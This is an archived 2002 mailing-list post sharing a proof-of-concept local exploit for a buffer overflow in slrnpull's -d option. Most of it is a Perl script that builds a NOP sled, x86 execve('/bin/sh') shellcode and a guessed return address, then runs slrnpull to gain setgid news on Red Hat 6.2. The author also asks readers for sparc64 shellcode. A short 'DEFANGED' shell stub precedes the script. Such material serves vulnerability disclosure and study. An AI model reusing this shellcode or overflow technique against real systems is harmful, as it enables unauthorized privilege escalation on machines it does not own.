slrnpull -d PoC

From: KF (dotslash@snosoft.com)
Date: 04/25/02 

Date: Wed, 24 Apr 2002 18:38:41 -0700
From: KF <dotslash@snosoft.com>
To: vuln-dev@security-focus.com, bugtraq@securityfocus.org

Heres an exploit for the slrnpull -d post ...
http://online.securityfocus.com/archive/1/268963. Much thanks to
zillion@snosoft.com / safemode.org. Can anyone point me at some generic
sparc64 linux execve shellcode?
-KF

#!/bin/sh
echo DEFANGED.5
exit
#!/usr/bin/perl
#
# Credits for the vulnerability: Alex Hernandez (its setgid news not root)
# The exploit was written by: zillion@snosoft.com / safemode.org
# http://www.safemode.org
# http://www.snosoft.com
#
# Gain setgid news on a Red Hat 6.2 Intel box

$shellcode =
        "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46".
        "\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1".
        "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

$offset = "-500";
$esp = 0xbfffe2cc;

for ($i = 0; $i < (2041 - (length($shellcode)) - 4); $i++) {
    $buffer .= "\x90";
}

$buffer .= $shellcode;
$buffer .= pack('l', ($esp + $offset));

print("The new return address: 0x", sprintf('%lx',($esp + $offset)), "\n");

exec("/usr/bin/slrnpull -d '$buffer'");